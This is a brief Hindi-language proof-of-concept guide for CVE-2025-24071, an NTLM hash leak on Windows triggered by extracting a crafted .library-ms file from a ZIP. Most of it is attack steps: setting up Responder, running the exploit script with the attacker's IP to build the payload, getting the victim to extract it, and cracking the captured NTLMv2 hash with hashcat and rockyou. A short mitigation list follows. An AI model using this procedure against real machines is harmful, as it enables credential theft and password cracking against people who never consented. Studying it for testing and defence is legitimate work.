CVE-2025-24071-POC-NTLMHashDisclosure

• हमलावर-नियंत्रित शेयर के लिए स्वचालित SMB प्रमाणीकरण ट्रिगर करता है।
• कोई इंटरेक्शन आवश्यक नहीं — Windows Explorer स्वचालित रूप से इस NTLM प्रमाणीकरण को शुरू करता है।
• इसके परिणामस्वरूप NTLMv2 हैश लीकेज (सूचना प्रकटीकरण) होता है।
• Windows 10/11 के सभी संस्करणों, विशेष रूप से 11 23H2 को प्रभावित करता है।

हमलावर वातावरण सेट करें

sudo apt update && sudo apt install responder -y

Responder शुरू करें

sudo responder -I eth0

एक्सप्लॉइट स्क्रिप्ट चलाएं

आवश्यक Python मॉड्यूल इंस्टॉल करें

pip install colorama python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

यह उत्पन्न करेगा: testpayload.library-ms testpayload.zip

पीड़ित मशीन पर परीक्षण करें

testpayload.zip को Windows 11 परीक्षण मशीन पर स्थानांतरित करें। Windows File Explorer का उपयोग करके ZIP निकालें। यह Windows को SMB पथ तक पहुँचने का प्रयास करने के लिए ट्रिगर करेगा, जिससे NTLM हैश लीक हो जाएगा।

हैश कैप्चर करें

responder -I eth0

हैश फ़ाइल तैयार करें

hash.txt फ़ाइल बनाएं

victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

वर्डलिस्ट चुनें

सबसे सामान्य rockyou.txt

Hashcat चलाएं

hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

शमन

• फ़ायरवॉल पर आउटबाउंड SMB (TCP 445) को ब्लॉक करें।
• अविश्वसनीय SMB शेयरों के लिए स्वचालित प्रमाणीकरण अक्षम करें (समूह नीति)।
• .library-ms फ़ाइल निष्कर्षण और SMB कनेक्शन की निगरानी करें।